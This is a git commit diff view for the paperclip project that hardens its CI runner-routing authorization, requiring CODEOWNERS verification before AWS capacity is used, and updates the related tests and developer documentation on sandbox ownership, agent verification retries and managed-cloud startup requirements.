Merge master for final native recovery verification

Preserve native publication documentation alongside the merged skill-storage guide and include the independently verified Cloud maintenance fix.

Co-Authored-By: Paperclip <noreply@paperclip.ing>
This commit is contained in:
DottaandPaperclip committed 2026-10-30 17:47:07 -05:00
commit 92b7447d68
199 files changed
+8837 -3325

No files matched your search

+23 -58
View File
@@ -4,20 +4,15 @@ import { spawnSync } from "node:child_process";
import { tmpdir } from "node:os";
import path from "node:path";
import test from "node:test";
import vm from "node:vm";
const workflow = readFileSync(new URL("../../workflows/ci-routing.yml", import.meta.url), "utf8");
const jobs = workflow.split(/^jobs:\n/m)[1];
test("routing uses reserved capacity and runs no PR code or actions", () => {
test("authorization uses hosted capacity and runs no PR code or actions", () => {
assert.deepEqual([...jobs.matchAll(/^ {2}([a-z_]+):$/gm)].map((match) => match[1]), ["gate"]);
const placement = jobs.match(/^ {4}runs-on: (.+)$/m)?.[1];
assert.ok(placement, "routing placement must be defined");
assert.doesNotMatch(placement, /fromJSON/);
assert.ok(placement.includes("vars.AWS_CI_TRUSTED_USER_IDS == vars.AWS_CI_ROUTING_USER_IDS_SOURCE"));
assert.ok(placement.includes("github.event.pull_request.user.id"));
assert.ok(placement.includes("github.event.sender.id"));
assert.ok(placement.endsWith("&& 'runs-on/fleet=paperclip-ci-routing-x64/env=public-ci' || 'ubuntu-latest' }}"));
assert.equal(placement, "ubuntu-latest", "verify current owners before allocating any AWS runner");
assert.doesNotMatch(jobs, /uses:|actions\/checkout|secrets\./);
assert.doesNotMatch(workflow, /^ {2}(?:actions|contents|pull-requests): write$/m);
});
@@ -29,7 +24,7 @@ test("routing exports both placement and stack scope to callers", () => {
assert.match(jobs, /^ {6}full_ci: \$\{\{ steps\.scope\.outputs\.full_ci \}\}$/m);
});
const githubStub = "#!/usr/bin/env bash\nset -Eeuo pipefail\n\nendpoint=\"${*: -1}\"\ncase \"$endpoint\" in\n */pulls/*)\n jq -cn \\\n --argjson author_id \"${TEST_PR_AUTHOR_ID:-34892728}\" \\\n --argjson repository_id \"${TEST_REPOSITORY_ID:-1170821064}\" \\\n --arg base_ref \"${TEST_BASE_REF:-master}\" \\\n --arg base_sha \"${TEST_PR_BASE_SHA:-$EVENT_BASE_SHA}\" \\\n --arg head_sha \"${TEST_PR_HEAD_SHA:-1111111111111111111111111111111111111111}\" \\\n --arg merge_sha \"${TEST_PR_MERGE_SHA:-4444444444444444444444444444444444444444}\" '{\n state: \"open\",\n user: {id: $author_id},\n base: {repo: {id: $repository_id}, ref: $base_ref, sha: $base_sha},\n head: {sha: $head_sha},\n merge_commit_sha: $merge_sha\n }'\n ;;\n */git/ref/heads/*)\n jq -cn \\\n --arg sha \"${TEST_LIVE_BASE_REF_SHA:-$EVENT_BASE_SHA}\" '{object: {sha: $sha}}'\n ;;\n */compare/*)\n [[ -z \"${TEST_COMPARE_FAIL:-}\" ]] || exit 1\n default_files='[{\"filename\":\"server/src/index.ts\"}]'\n jq -cn \\\n --arg merge_base_sha \"${TEST_BASE_COMPARISON_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\" \\\n --arg status \"${TEST_BASE_COMPARISON_STATUS:-ahead}\" \\\n --argjson files \"${TEST_COMPARE_FILES:-$default_files}\" '{\n merge_base_commit: {sha: $merge_base_sha},\n status: $status,\n files: $files\n }'\n ;;\n */git/commits/*)\n requested_sha=\"${endpoint##*/}\"\n live_merge_sha=\"${TEST_PR_MERGE_SHA:-4444444444444444444444444444444444444444}\"\n synthetic_base_merge_sha=\"${TEST_SYNTHETIC_BASE_MERGE_SHA:-}\"\n if [[ \"$requested_sha\" == \"$EVENT_MERGE_SHA\" ]]; then\n tree_sha=\"${TEST_EVENT_MERGE_TREE_SHA:-5555555555555555555555555555555555555555}\"\n base_sha=\"${TEST_EVENT_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\"\n head_sha=\"${TEST_EVENT_MERGE_HEAD_SHA:-$EVENT_HEAD_SHA}\"\n elif [[ \"$requested_sha\" == \"$live_merge_sha\" ]]; then\n tree_sha=\"${TEST_LIVE_MERGE_TREE_SHA:-5555555555555555555555555555555555555555}\"\n base_sha=\"${TEST_LIVE_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\"\n head_sha=\"${TEST_LIVE_MERGE_HEAD_SHA:-$EVENT_HEAD_SHA}\"\n elif [[ -n \"$synthetic_base_merge_sha\" && \"$requested_sha\" == \"$synthetic_base_merge_sha\" ]]; then\n tree_sha=\"${TEST_SYNTHETIC_BASE_MERGE_TREE_SHA:-8888888888888888888888888888888888888888}\"\n base_sha=\"${TEST_SYNTHETIC_MASTER_PARENT_SHA:-9999999999999999999999999999999999999999}\"\n head_sha=\"${TEST_SYNTHETIC_BASE_REF_PARENT_SHA:-${TEST_LIVE_BASE_REF_SHA:-$EVENT_BASE_SHA}}\"\n else\n echo \"unexpected merge commit: $requested_sha\" >&2\n exit 1\n fi\n jq -cn \\\n --arg sha \"$requested_sha\" \\\n --arg tree_sha \"$tree_sha\" \\\n --arg base_sha \"$base_sha\" \\\n --arg head_sha \"$head_sha\" '{\n sha: $sha,\n tree: {sha: $tree_sha},\n parents: [{sha: $base_sha}, {sha: $head_sha}]\n }'\n ;;\n */actions/runs/*)\n jq -cn \\\n --argjson actor_id \"${TEST_TRIGGERING_ACTOR_ID:-34892728}\" \\\n --argjson repository_id \"${TEST_REPOSITORY_ID:-1170821064}\" \\\n --arg event_name \"${TEST_EVENT_NAME:-pull_request}\" '{\n triggering_actor: {id: $actor_id},\n repository: {id: $repository_id},\n event: $event_name\n }'\n ;;\n *)\n echo \"unexpected gh endpoint: $endpoint\" >&2\n exit 1\n ;;\nesac";
const githubStub = "#!/usr/bin/env bash\nset -Eeuo pipefail\n\nendpoint=\"\"\nquery=\"\"\nfor arg in \"$@\"; do\n case \"$arg\" in /repos/*|/users/*) endpoint=\"$arg\" ;; esac\ndone\nif [[ \"$*\" == *\"--jq\"* ]]; then query=\"${*: -1}\"; fi\ncase \"$endpoint\" in\n */contents/scripts/ci-profile/authorize.mjs?ref=*)\n [[ -z \"${TEST_OWNER_HELPER_FAIL:-}\" ]] || exit 1\n [[ \"$endpoint\" == *\"ref=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" ]] || exit 1\n base64 < \"$TEST_OWNER_HELPER\"\n ;;\n */contents/.github/CODEOWNERS?ref=*)\n [[ -z \"${TEST_CODEOWNERS_FAIL:-}\" ]] || exit 1\n [[ \"$endpoint\" == *\"ref=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" ]] || exit 1\n jq -cn --arg content \"$TEST_CODEOWNERS_BASE64\" '{encoding: \"base64\", content: $content}'\n ;;\n /users/ci-owner)\n [[ -z \"${TEST_OWNER_LOOKUP_FAIL:-}\" ]] || exit 1\n jq -cn --argjson id \"${TEST_CI_OWNER_ID:-34892728}\" --arg type \"${TEST_CI_OWNER_TYPE:-User}\" '{id: $id, type: $type}'\n ;;\n */pulls/*)\n jq -cn \\\n --argjson author_id \"${TEST_PR_AUTHOR_ID:-34892728}\" \\\n --argjson repository_id \"${TEST_REPOSITORY_ID:-1170821064}\" \\\n --arg base_ref \"${TEST_BASE_REF:-master}\" \\\n --arg base_sha \"${TEST_PR_BASE_SHA:-$EVENT_BASE_SHA}\" \\\n --arg head_sha \"${TEST_PR_HEAD_SHA:-1111111111111111111111111111111111111111}\" \\\n --arg merge_sha \"${TEST_PR_MERGE_SHA:-4444444444444444444444444444444444444444}\" '{\n state: \"open\",\n user: {id: $author_id},\n base: {repo: {id: $repository_id}, ref: $base_ref, sha: $base_sha},\n head: {sha: $head_sha},\n merge_commit_sha: $merge_sha\n }'\n ;;\n */git/ref/heads/*)\n if [[ \"$query\" == \".object.sha\" ]]; then\n [[ -z \"${TEST_MASTER_FAIL:-}\" ]] || exit 1\n echo \"${TEST_TRUSTED_MASTER_SHA:-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}\"\n exit 0\n fi\n jq -cn \\\n --arg sha \"${TEST_LIVE_BASE_REF_SHA:-$EVENT_BASE_SHA}\" '{object: {sha: $sha}}'\n ;;\n */compare/*)\n [[ -z \"${TEST_COMPARE_FAIL:-}\" ]] || exit 1\n default_files='[{\"filename\":\"server/src/index.ts\"}]'\n jq -cn \\\n --arg merge_base_sha \"${TEST_BASE_COMPARISON_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\" \\\n --arg status \"${TEST_BASE_COMPARISON_STATUS:-ahead}\" \\\n --argjson files \"${TEST_COMPARE_FILES:-$default_files}\" '{\n merge_base_commit: {sha: $merge_base_sha},\n status: $status,\n files: $files\n }'\n ;;\n */git/commits/*)\n requested_sha=\"${endpoint##*/}\"\n live_merge_sha=\"${TEST_PR_MERGE_SHA:-4444444444444444444444444444444444444444}\"\n synthetic_base_merge_sha=\"${TEST_SYNTHETIC_BASE_MERGE_SHA:-}\"\n if [[ \"$requested_sha\" == \"$EVENT_MERGE_SHA\" ]]; then\n tree_sha=\"${TEST_EVENT_MERGE_TREE_SHA:-5555555555555555555555555555555555555555}\"\n base_sha=\"${TEST_EVENT_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\"\n head_sha=\"${TEST_EVENT_MERGE_HEAD_SHA:-$EVENT_HEAD_SHA}\"\n elif [[ \"$requested_sha\" == \"$live_merge_sha\" ]]; then\n tree_sha=\"${TEST_LIVE_MERGE_TREE_SHA:-5555555555555555555555555555555555555555}\"\n base_sha=\"${TEST_LIVE_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\"\n head_sha=\"${TEST_LIVE_MERGE_HEAD_SHA:-$EVENT_HEAD_SHA}\"\n elif [[ -n \"$synthetic_base_merge_sha\" && \"$requested_sha\" == \"$synthetic_base_merge_sha\" ]]; then\n tree_sha=\"${TEST_SYNTHETIC_BASE_MERGE_TREE_SHA:-8888888888888888888888888888888888888888}\"\n base_sha=\"${TEST_SYNTHETIC_MASTER_PARENT_SHA:-9999999999999999999999999999999999999999}\"\n head_sha=\"${TEST_SYNTHETIC_BASE_REF_PARENT_SHA:-${TEST_LIVE_BASE_REF_SHA:-$EVENT_BASE_SHA}}\"\n else\n echo \"unexpected merge commit: $requested_sha\" >&2\n exit 1\n fi\n jq -cn \\\n --arg sha \"$requested_sha\" \\\n --arg tree_sha \"$tree_sha\" \\\n --arg base_sha \"$base_sha\" \\\n --arg head_sha \"$head_sha\" '{\n sha: $sha,\n tree: {sha: $tree_sha},\n parents: [{sha: $base_sha}, {sha: $head_sha}]\n }'\n ;;\n */actions/runs/*/attempts/*)\n jq -cn \\\n --argjson actor_id \"${TEST_TRIGGERING_ACTOR_ID:-34892728}\" \\\n --argjson repository_id \"${TEST_REPOSITORY_ID:-1170821064}\" \\\n --argjson run_attempt \"${TEST_RUN_ATTEMPT:-1}\" \\\n --arg event_name \"${TEST_EVENT_NAME:-pull_request}\" '{\n run_attempt: $run_attempt,\n triggering_actor: {id: $actor_id},\n repository: {id: $repository_id},\n event: $event_name\n }'\n ;;\n *)\n echo \"unexpected gh endpoint: $endpoint\" >&2\n exit 1\n ;;\nesac";
function stepScript(name) {
const start = workflow.indexOf(` - name: ${name}\n`);
@@ -54,6 +49,9 @@ function executeStep(name, overrides = {}) {
...process.env,
PATH: `${directory}:${process.env.PATH}`,
GITHUB_OUTPUT: output,
RUNNER_TEMP: directory,
TEST_OWNER_HELPER: path.resolve("scripts/ci-profile/authorize.mjs"),
TEST_CODEOWNERS_BASE64: Buffer.from(".github/** @ci-owner\n").toString("base64"),
AWS_CI_ENABLED: "true",
TRUSTED_USER_IDS: "[34892728]",
EVENT_NAME: "pull_request",
@@ -69,6 +67,7 @@ function executeStep(name, overrides = {}) {
EVENT_HEAD_SHA: "1111111111111111111111111111111111111111",
EVENT_MERGE_SHA: "2222222222222222222222222222222222222222",
RUN_ID: "123456789",
RUN_ATTEMPT: "1",
...overrides,
},
});
@@ -106,6 +105,22 @@ const routeCases = [
["unlisted author", { EVENT_PR_AUTHOR_ID: "99999999" }],
["unlisted sender", { EVENT_SENDER_ID: "99999999" }],
["unlisted rerun actor", { TEST_TRIGGERING_ACTOR_ID: "99999999" }],
["allowlisted user removed from CODEOWNERS", { TEST_CI_OWNER_ID: "99999999" }],
["CODEOWNER not on numeric allowlist", { TRUSTED_USER_IDS: "[99999999]" }],
["non-owner PR with owner rerun", { EVENT_PR_AUTHOR_ID: "99999999", TEST_PR_AUTHOR_ID: "99999999", TRUSTED_USER_IDS: "[34892728,99999999]" }],
["non-owner event sender", { EVENT_SENDER_ID: "99999999", TRUSTED_USER_IDS: "[34892728,99999999]" }],
["non-owner rerun actor", { TEST_TRIGGERING_ACTOR_ID: "99999999", TRUSTED_USER_IDS: "[34892728,99999999]" }],
["CODEOWNERS unavailable", { TEST_CODEOWNERS_FAIL: "1" }],
["owner identity unavailable", { TEST_OWNER_LOOKUP_FAIL: "1" }],
["owner is not a person", { TEST_CI_OWNER_TYPE: "Bot" }],
["trusted helper unavailable", { TEST_OWNER_HELPER_FAIL: "1" }],
["trusted master unavailable", { TEST_MASTER_FAIL: "1" }],
["invalid trusted master", { TEST_TRUSTED_MASTER_SHA: "bad" }],
["documentation owners do not authorize CI", { TEST_CODEOWNERS_BASE64: Buffer.from("doc/** @ci-owner\n").toString("base64") }],
["ambiguous CODEOWNERS deny access", { TEST_CODEOWNERS_BASE64: Buffer.from(".github/** @ci-owner\n/.github/** @ci-owner\n").toString("base64") }],
["malformed run attempt", { RUN_ATTEMPT: "bad" }],
["wrong run attempt", { TEST_RUN_ATTEMPT: "2" }],
["owner rerun validates its own attempt", { RUN_ATTEMPT: "2", TEST_RUN_ATTEMPT: "2" }, awsRunner],
["missing base", { EVENT_BASE_REF: "" }],
["wrong base repository", { EVENT_BASE_REPOSITORY_ID: "999999999" }],
["replaced base ancestry", { TEST_BASE_COMPARISON_MERGE_BASE_SHA: "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" }],
@@ -226,53 +241,3 @@ test("path scope skips full CI for a single-PR stack that only touches release n
TEST_COMPARE_FILES: files("releases/v2026.1015.0.md"),
}).full_ci, "false");
});
function routingPlacement(vars = {}, github = {}) {
const source = "[34892728]";
const expression = jobs.match(/^ {4}runs-on: \$\{\{ (.+) \}\}$/m)?.[1];
assert.ok(expression, "routing expression is missing");
return vm.runInNewContext(expression, {
vars: {
AWS_CI_ENABLED: "true",
AWS_CI_TRUSTED_USER_IDS: source,
AWS_CI_ROUTING_USER_IDS_SOURCE: source,
AWS_CI_ROUTING_USER_IDS: "|34892728|",
...vars,
},
github: {
repository: "paperclipai/paperclip",
repository_id: "1170821064",
event_name: "pull_request",
ref: "refs/heads/master",
actor_id: "34892728",
event: { pull_request: { user: { id: 34892728 } }, sender: { id: 34892728 } },
...github,
},
contains: (search, item) => String(search).toLowerCase().includes(String(item).toLowerCase()),
format: (template, ...args) => template.replace(/\{(\d+)\}/g, (_, index) => String(args[Number(index)])),
}, { timeout: 1000 });
}
const placementCases = [
["approved PR", {}, {}, "runs-on/fleet=paperclip-ci-routing-x64/env=public-ci"],
["unapproved author", {}, { event: { pull_request: { user: { id: 999 } }, sender: { id: 34892728 } } }],
["unapproved sender", {}, { event: { pull_request: { user: { id: 34892728 } }, sender: { id: 999 } } }],
["partial ID cannot match", {}, { event: { pull_request: { user: { id: 4892728 } }, sender: { id: 34892728 } } }],
["invalid JSON keeps hosted fallback", { AWS_CI_TRUSTED_USER_IDS: "[34892728,]" }, {}],
["stale snapshot", { AWS_CI_TRUSTED_USER_IDS: "[34892728,999]" }, {}],
["missing snapshot", { AWS_CI_ROUTING_USER_IDS_SOURCE: "" }, {}],
["missing admission members", { AWS_CI_ROUTING_USER_IDS: "" }, {}],
["disabled routing", { AWS_CI_ENABLED: "false" }, {}],
["different repository", {}, { repository: "other/repo" }],
["different repository ID", {}, { repository_id: "999" }],
["approved manual master canary", {}, { event_name: "workflow_dispatch" }, "runs-on/fleet=paperclip-ci-routing-x64/env=public-ci"],
["unapproved manual actor", {}, { event_name: "workflow_dispatch", actor_id: "999" }],
["manual branch canary", {}, { event_name: "workflow_dispatch", ref: "refs/heads/other" }],
];
for (const [name, vars, github, expected = "ubuntu-latest"] of placementCases) {
test(`placement before allocation: ${name}`, () => {
assert.equal(routingPlacement(vars, github), expected);
});
}
@@ -89,6 +89,7 @@ jobs:
run: |
mkdir -m 700 "$ALLURE_RESULTS"
allurectl watch -- node tests/runner-e2e/testops-chat-reporter.mjs bootstrap
node tests/runner-e2e/testops-chat-reporter.mjs bootstrap-context
- name: Validate the one real TestOps selection before any build or provider access
id: selection
if: needs.authorize.outputs.operation == 'evaluate'
@@ -134,6 +135,8 @@ jobs:
${{ runner.temp }}/chat-testops-bootstrap-state/plan.json
${{ runner.temp }}/chat-testops-bootstrap-state/job.json
${{ runner.temp }}/chat-testops-bootstrap-state/failure.json
${{ runner.temp }}/chat-testops-bootstrap-state/registration.json
${{ runner.temp }}/chat-testops-bootstrap-state/registration-failure.json
retention-days: 30
if-no-files-found: error
- name: Retain the one plan-launch receipt and stop state
@@ -58,6 +58,7 @@ jobs:
for (const [file, project, related] of [
['ui/src/pages/Inbox.tsx', '@paperclipai/ui', 'ui/src/pages/Inbox.test.tsx'],
['server/src/middleware/auth.ts', '@paperclipai/server', 'server/src/__tests__/agent-auth-middleware.test.ts'],
['server/src/storage/config.test.ts', '@paperclipai/server', 'server/src/storage/config.test.ts'],
]) {
const selected = await createTestSelection(planTasks({ config, lanes, paths: [file, "doc/DEVELOPING.md", "doc/plans/2026-10-30-ci-proof.md"] }), head);
const graph = selected.graphs.find(graph => graph.project === project);
+31 -5
View File
@@ -21,7 +21,9 @@ permissions:
jobs:
gate:
name: Select trusted runner
runs-on: ${{ vars.AWS_CI_ENABLED == 'true' && vars.AWS_CI_ROUTING_USER_IDS_SOURCE != '' && vars.AWS_CI_TRUSTED_USER_IDS == vars.AWS_CI_ROUTING_USER_IDS_SOURCE && github.repository == 'paperclipai/paperclip' && github.repository_id == '1170821064' && ((github.event_name == 'pull_request' && contains(vars.AWS_CI_ROUTING_USER_IDS, format('|{0}|', github.event.pull_request.user.id)) && contains(vars.AWS_CI_ROUTING_USER_IDS, format('|{0}|', github.event.sender.id))) || (github.event_name == 'workflow_dispatch' && github.ref == 'refs/heads/master' && contains(vars.AWS_CI_ROUTING_USER_IDS, format('|{0}|', github.actor_id)))) && 'runs-on/fleet=paperclip-ci-routing-x64/env=public-ci' || 'ubuntu-latest' }}
# No AWS capacity is allocated until current CI CODEOWNERS are verified.
# A cached numeric allowlist alone can outlive removal from CODEOWNERS.
runs-on: ubuntu-latest
timeout-minutes: 5
outputs:
plan: ${{ steps.plan.outputs.plan }}
@@ -51,6 +53,7 @@ jobs:
EVENT_HEAD_SHA: ${{ github.event.pull_request.head.sha }}
EVENT_MERGE_SHA: ${{ github.sha }}
RUN_ID: ${{ github.run_id }}
RUN_ATTEMPT: ${{ github.run_attempt }}
run: |
set -u
@@ -73,7 +76,8 @@ jobs:
is_allowed() {
local user_id="$1"
jq -e --argjson user_id "$user_id" 'index($user_id) != null' \
jq -e --argjson user_id "$user_id" --argjson owners "$owner_ids" \
'index($user_id) != null and ($owners | index($user_id) != null)' \
<<< "$TRUSTED_USER_IDS" >/dev/null
}
@@ -94,9 +98,27 @@ jobs:
all(.[]; type == "number" and . > 0 and floor == .)
' <<< "$TRUSTED_USER_IDS" >/dev/null 2>&1 || fail_closed 'trusted user ID list is malformed'
# Both the resolver and CODEOWNERS come from the same protected master
# revision. Never use the PR's CODEOWNERS or execute its source here.
trusted_sha="$(gh api /repos/paperclipai/paperclip/git/ref/heads/master --jq .object.sha)" \
|| fail_closed 'could not resolve trusted CODEOWNERS revision'
is_commit_sha "$trusted_sha" || fail_closed 'invalid trusted CODEOWNERS revision'
owner_helper="$RUNNER_TEMP/aws-ci-owners.mjs"
if ! gh api "/repos/paperclipai/paperclip/contents/scripts/ci-profile/authorize.mjs?ref=$trusted_sha" \
--jq '.content' > "$owner_helper.base64" ||
! base64 --decode < "$owner_helper.base64" > "$owner_helper"; then
fail_closed 'could not load trusted CODEOWNERS resolver'
fi
owner_ids="$(node --input-type=module - "$owner_helper" "$trusted_sha" <<'NODE'
import { pathToFileURL } from 'node:url';
const { trustedOwnerIds } = await import(pathToFileURL(process.argv[2]));
console.log(JSON.stringify(trustedOwnerIds(undefined, process.argv[3])));
NODE
)" || fail_closed 'could not verify current CI CODEOWNERS'
for user_id in "$EVENT_PR_AUTHOR_ID" "$EVENT_SENDER_ID"; do
is_positive_integer "$user_id" || fail_closed 'event contains a malformed user ID'
is_allowed "$user_id" || fail_closed "GitHub user ID $user_id is not allowlisted"
is_allowed "$user_id" || fail_closed "GitHub user ID $user_id is not an allowlisted CI CODEOWNER"
done
for commit_sha in "$EVENT_BASE_SHA" "$EVENT_HEAD_SHA" "$EVENT_MERGE_SHA"; do
@@ -204,20 +226,24 @@ jobs:
[[ "$event_merge_tree" == "$live_merge_tree" ]] \
|| fail_closed 'current merge tree differs from the triggering merge tree'
is_positive_integer "$RUN_ID" || fail_closed 'invalid workflow run ID'
is_positive_integer "$RUN_ATTEMPT" || fail_closed 'invalid workflow run attempt'
run_json="$(gh api \
-H 'Accept: application/vnd.github+json' \
-H 'X-GitHub-Api-Version: 2022-11-28' \
"/repos/paperclipai/paperclip/actions/runs/$RUN_ID" 2>/dev/null)" \
"/repos/paperclipai/paperclip/actions/runs/$RUN_ID/attempts/$RUN_ATTEMPT" 2>/dev/null)" \
|| fail_closed 'could not refresh workflow run state'
triggering_actor_id="$(jq -r '.triggering_actor.id // empty' <<< "$run_json")"
is_positive_integer "$triggering_actor_id" || fail_closed 'workflow run has no valid triggering actor ID'
is_allowed "$triggering_actor_id" || fail_closed "triggering GitHub user ID $triggering_actor_id is not allowlisted"
is_allowed "$triggering_actor_id" || fail_closed "triggering GitHub user ID $triggering_actor_id is not an allowlisted CI CODEOWNER"
jq -e \
--argjson repository_id 1170821064 \
--argjson run_attempt "$RUN_ATTEMPT" \
--arg event_name "$EVENT_NAME" '
.repository.id == $repository_id and
.run_attempt == $run_attempt and
.event == $event_name
' <<< "$run_json" >/dev/null 2>&1 \
|| fail_closed 'current workflow run does not match the expected repository event'
+17
View File
@@ -1545,6 +1545,23 @@ named `review_wait_benchmark...` can be supplied through
`PAPERCLIP_TEST_DATABASE_URL` to compare another PostgreSQL major version.
DataRow bytes exclude response metadata and transport overhead.
### Sandbox creation ownership
Migration 0418 adds `sandbox_creation_operations`. Admission commits company,
original environment, run, request key and provider identity before external
creation. Configuration contains nonsecret values and existing secret references.
The original identity survives environment, run, task and company deletion; only
the optional live environment FK uses SET NULL. Company/run deletion must not
erase an outstanding remote-resource obligation.
The unique company/environment/run/request index fences duplicate creation and
ambiguous successful lease commits. Normal lease attachment and operation transfer
share a transaction. Recovery transfers one claimed cleanup lease after provider
ownership lookup. The pending deadline index drives the existing cleanup worker.
`needs_reconciliation` is a durable manual outcome, not an automatic retry or an
idle blocker. See [cleanup ownership](idle-environment-cleanup.md).
## Object-backed run evidence
Optional segmented run logs and raw provider traces store their payloads and
+108 -21
View File
@@ -146,19 +146,19 @@ New workflow versions merged into master then receive runner access without a
separate SHA allowlist update. Dependabot leaves this first-party reference on
master.
Runner selection calls `ci-routing.yml@master` on the dedicated
`paperclip-ci-routing-x64` AWS Fleet. The `paperclip-ci-routing` runner group
admits only `paperclipai/paperclip/.github/workflows/ci-routing.yml@refs/heads/master`
and repository ID `1170821064`. GitHub evaluates the canonical repository, author, and sender checks before
allocating reserved capacity. The validated admission snapshot (`AWS_CI_ROUTING_USER_IDS_SOURCE` and
`AWS_CI_ROUTING_USER_IDS`) must match `AWS_CI_TRUSTED_USER_IDS`. Refresh it through
the runner-group configuration helper when the roster changes. Missing, stale,
or malformed settings keep hosted routing available without evaluating JSON
in the job's placement expression. Unapproved PRs use hosted metadata routing;
approved manual canaries on master can use the reserved pool. The routing
workflow reads GitHub metadata without checking out or executing PR code. Its author, sender, rerun actor,
repository, head, and merge validation still decide whether tests can use AWS.
Unapproved test workloads continue to use GitHub-hosted runners.
Runner selection calls `ci-routing.yml@master` on a GitHub-hosted runner. It
verifies authorization before allocating any AWS capacity and never checks out
or executes PR code. The author, event sender and rerun actor must each be both
in `AWS_CI_TRUSTED_USER_IDS` and a current owner of `.github/**` in CODEOWNERS.
The resolver and CODEOWNERS are read from the same protected master revision;
PR edits cannot change the trusted owner list. Documentation-only owners,
unsupported owner rules and failed identity lookups do not authorize AWS.
Repository, head and merge validation also apply. Missing or malformed settings
and unverifiable authorization use GitHub-hosted runners. A maintainer rerunning
an outside contributor's PR does not grant it AWS access.
Authorized test jobs and the final `verify` and `e2e` aggregates use the selected
AWS fleet. The metadata authorization job remains hosted even for maintainers,
so stale admission snapshots cannot allocate an AWS runner before verification.
The routing workflow also selects the CI scope. Middle PRs in a stack and PRs
whose diff changes only release notes (`releases/v*.md` or
@@ -213,7 +213,11 @@ coverage without paying for another graph traversal. Filesystem, subprocess, net
dynamic-loader, unresolved, and unapproved external-package consumers are
retained conservatively, including indirect consumers through local helpers.
The selector explicitly tracks setup/configuration dependencies as well as test
imports. The small pure-dependency allowlist lives in
imports. Ordinary source names such as `session-config-metadata.test.ts` or
`setup-state.ts` remain eligible; the words `config` and `setup` alone do not
force full CI. Conventional Vite/Vitest config and setup files remain broad
inputs. Other resolved setup/config dependencies invalidate their entire project.
The small pure-dependency allowlist lives in
`scripts/ci/vitest-selection-graph.mjs`; new external packages remain opaque
until reviewed. This is deliberately broader than `vitest related` alone.
For conservative retention, explicit complete local mock factories cut the
@@ -236,6 +240,9 @@ existing selection/execution rules. The job summary reports files and jobs
selected per lane, and the `vitest-selection` artifact records the manifest and
dependency audit. Selected jobs execute exact Vitest test specifications, so
similarly named `.test.ts` and `.test.tsx` files cannot overlap between shards.
The wrapper consumes and validates the selection before launching Vitest, then
removes selection environment variables from the test process. Nested runner
fixtures therefore use their own checkout and test inventory.
Missing/deleted/renamed source files, non-exempt non-source inputs, unrecognized graph inputs,
setup/config changes, failed dependency installs, graph errors and timeouts use
@@ -288,13 +295,10 @@ explicit. When changing shard layout, update `.github/ci-task-matrix.json` and
the full fallback matrices in `pr-trusted.yml`; the contract tests require them
to agree. Add new cache-affecting environment settings to `globalEnv`.
The routing Fleet has two warm On-Demand runners and a four-runner ceiling.
Test fleets cannot consume its runner slots. Hosted test queues therefore do
not block AWS runner selection. A manual dispatch of `ci-routing.yml` on master
checks placement without launching the test matrix; its non-PR event returns
the hosted test-runner output. Configure and verify the group and Fleet before
merging this caller. To roll back, restore the hosted gate and retain the routing
workflow authorization until assigned jobs finish.
The former reserved routing Fleet is no longer selected by this workflow.
Keep its existing authorization until older assigned jobs finish. A manual
dispatch of `ci-routing.yml` on master exercises the hosted metadata job without
launching the test matrix; its non-PR event returns the hosted test-runner output.
Keep the `.github/**` rule in `.github/CODEOWNERS` and the active master ruleset's
code-owner review requirement enabled. This covers the caller, the trusted
@@ -899,6 +903,32 @@ npx paperclipai allowed-hostname dotta-macbook-pro
## Agent status recovery
Lifecycle verification stops automatic attempts after missing authentication,
an unavailable model or command, an invalid working directory, or unexpected
probe output. A generic failed test gets up to three failures before automatic
checks stop. The saved `verificationFailures` count only advances when the host
verification test fails; claims deferred before the test do not spend that budget.
An explicit retry or execution configuration change resets that count.
The agent stays in `verifying`
with execution paused and a safe error message. Its saved lifecycle operation
records `retryRequired`; process restarts and queue scans retain that wait.
Changing execution configuration or using **Retry now** clears it and runs the
normal verification again. Name and title edits do not restart verification.
Timeouts, unavailable test environments, plugin outages and unclassified runtime
failures retain automatic retry. Pause, termination, resource cleanup and idle
sleep checks keep their existing safety gates.
Remote directory and command checks preserve timeout, interruption and transport
failures as typed execution-target failures. Adapters carry that signal in the
optional `AdapterEnvironmentCheck.retryable` field. A retryable error becomes
`test_environment_unavailable` before configuration classification, so it neither
parks verification nor consumes the generic failed-test budget. A completed check
that confirms a missing directory or command still waits for configuration repair.
The retry persistence tests can use a dedicated local PostgreSQL database ending
in `_test` through `PAPERCLIP_LIFECYCLE_VERIFICATION_RETRY_TEST_DATABASE_URL` when
embedded PostgreSQL is unavailable. The test validates that URL before use.
Heartbeat completion locks the agent row before it reads remaining running work
and writes the agent status. A concurrent execution start cannot be overwritten
by a completion that read older run state. Run terminalization and agent status
@@ -1507,6 +1537,45 @@ Configure storage provider/settings:
pnpm paperclipai configure --section storage
```
### Managed cloud prerequisites
A nonblank Cloud tenant token or the presence of `PAPERCLIP_MANAGED_CONFIG`
selects the managed-cloud profile. A supplied blank or invalid managed feature
document refuses startup. Without either signal, the instance remains self-hosted.
The managed profile also requires:
- `PAPERCLIP_STORAGE_PROVIDER=s3` or `storage.provider: "s3"` in the canonical
database snapshot. An invalid explicit environment value refuses startup even
if the snapshot selects S3.
- An explicit nonblank `PAPERCLIP_STORAGE_S3_BUCKET` or `storage.s3.bucket`.
The self-hosted `paperclip` bucket default does not qualify. The region defaults
to `us-east-1`; an explicit blank region refuses startup. An optional endpoint
must be an HTTP(S) URL without embedded credentials.
- An external PostgreSQL URL from the environment `DATABASE_URL`.
The managed profile never falls back to embedded PostgreSQL.
- A stable `PAPERCLIP_SECRETS_MASTER_KEY` supplied by the deployment secret store.
Use the same value across replacements. The existing provider accepts 32-byte
base64, 64-character hex, or a raw 32-byte UTF-8 string. A key file alone does
not qualify because a replacement web server may not have that file.
Bootstrap validates the environment database URL and encryption master key before
opening the database or creating local state. Effective storage validation follows
canonical snapshot resolution, before signing keys, first-party Telemetry or app
construction. Raw canonical rows and legacy S3 imports cannot obtain a missing
bucket from schema defaults. Already-stored nonblank bucket values remain
